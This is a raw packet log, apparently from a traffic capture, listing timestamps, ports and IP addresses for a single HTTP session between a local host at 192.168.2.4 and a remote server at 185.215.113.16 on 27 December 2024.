Dec 27, 2024 09:01:13.137398958 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.137475014 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.137509108 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.137566090 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.138278961 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.138334990 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.138411999 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.138909101 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.139141083 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.139234066 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.139290094 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.139349937 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.140008926 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.140041113 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.140073061 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.140089035 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.140902042 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.141012907 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.141057014 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.141057014 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.141793013 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.141844988 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.141880035 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.142107964 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.142679930 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.142779112 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.142808914 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.142939091 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.143548965 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.143600941 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.143625975 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.143668890 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.144539118 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.144551992 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.144608974 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.144608974 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.145302057 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.145417929 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.145441055 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.145498037 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.146296024 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.146331072 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.146363974 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.146363974 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.147053003 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.147114992 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.147149086 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.147250891 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.147934914 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.147996902 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.148008108 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.148432970 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.148822069 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.148931026 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.148979902 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.148979902 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.149688005 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.149735928 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.149774075 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.149883032 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.150587082 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.150635958 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.150665998 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.150844097 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.151416063 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.151463032 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.306904078 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.307007074 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.307008028 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.307121992 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.307300091 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.307358980 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.307498932 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.307600975 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.308204889 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.308252096 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.308300018 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.308346033 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.309058905 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.309156895 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.309187889 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.309271097 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.309931993 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.310039043 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.310045958 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.310264111 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.310833931 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.310890913 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.310980082 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.311109066 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.311681986 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.311729908 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.311744928 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.311805010 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.312565088 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.312678099 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.312741041 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.312741041 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.313445091 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.313510895 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.313525915 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.313735008 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.314312935 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.314434052 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.314457893 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.315167904 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.315186977 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.315256119 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.315299988 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.315376997 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.316080093 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.316137075 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.316169024 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.316236973 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.316968918 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.317015886 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.317050934 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.317145109 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.317816973 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.317872047 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.317955017 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.318001986 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.318702936 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.318789959 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.318792105 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.318907976 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.319662094 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.319749117 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.319760084 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.319833040 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.320460081 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.320641994 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.320687056 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.320687056 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.321333885 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.321443081 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.321453094 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.321507931 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.322221994 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.322273016 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.322333097 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.322405100 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.323079109 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.323194981 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.323226929 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.323331118 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.324033022 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.324168921 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.324168921 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.324215889 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.324834108 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.324945927 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.324989080 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.324989080 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.325719118 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.325772047 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.325884104 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.325954914 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.326591015 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.326638937 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.326702118 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.326843977 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.327498913 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.327543974 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.327631950 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.327735901 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.328397989 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.328463078 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.328495026 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.328536987 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.329253912 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.329313993 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.329344988 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.329488039 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.330116987 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.330171108 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.330270052 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.330332994 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.330991983 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.331052065 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.331094980 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.331176043 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.331871033 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.331978083 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.331983089 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.332371950 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.332772017 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.332858086 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.332887888 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.332946062 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.333623886 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.333693027 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.333740950 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.333791971 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.334491968 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.334588051 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.334609032 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.334685087 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.335370064 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.335422039 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.335479975 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.335706949 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.336230993 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.336299896 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.336370945 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.336433887 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.337140083 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.337191105 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.337229013 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.337280989 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.338025093 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.338083029 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.338113070 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.338202000 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.338886976 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.338998079 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.339035034 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.339261055 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.339740992 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.339807034 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.339848995 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.340091944 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.340656996 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.340770960 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.340814114 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.340814114 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.341502905 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.341550112 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.341608047 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.341681004 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.342397928 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.342494965 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.342511892 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.342623949 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.343288898 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.343347073 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.343374014 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.343442917 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.344146013 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.344182968 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.344331980 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.344409943 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.345015049 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.345108986 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.345143080 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.345287085 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.345882893 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.345942974 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.345994949 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.346164942 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.346791029 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.346895933 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.346940994 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.346940994 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.347645998 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.347760916 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.347793102 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.347840071 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.348556042 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.348612070 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.348659992 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.348659992 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.349390984 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.349461079 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.349517107 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.349566936 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.350307941 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.350368977 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.350397110 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.350467920 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.351160049 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.351248026 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.351351023 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.351418972 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.352054119 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.352108955 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.352193117 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.352236032 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.352864981 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.352926970 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.508167028 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.508234024 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.508325100 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.508373976 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.508594036 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.508645058 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.508826017 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.508873940 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.509448051 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.509524107 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.509583950 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.509635925 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.510348082 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.510412931 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.510452032 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.510552883 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.511256933 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.511331081 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.511432886 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.511543036 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.512094021 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.512224913 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.512233973 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.512425900 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.512973070 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.513076067 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.513077021 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.513134003 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.514137983 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.514194965 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.514198065 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.514250994 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.514753103 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.514910936 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.514957905 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.514957905 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.515659094 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.515763044 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.515779018 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.515834093 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.516500950 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.516541004 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.516602993 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.516705990 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.517357111 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.517429113 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.517497063 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.517561913 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.518250942 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.518299103 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.518373013 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.518419981 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.519119024 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.519181967 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.519222021 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.519279003 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.519987106 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.520067930 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.520109892 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.520159960 CET	49789	80	192.168.2.4	185.215.113.16
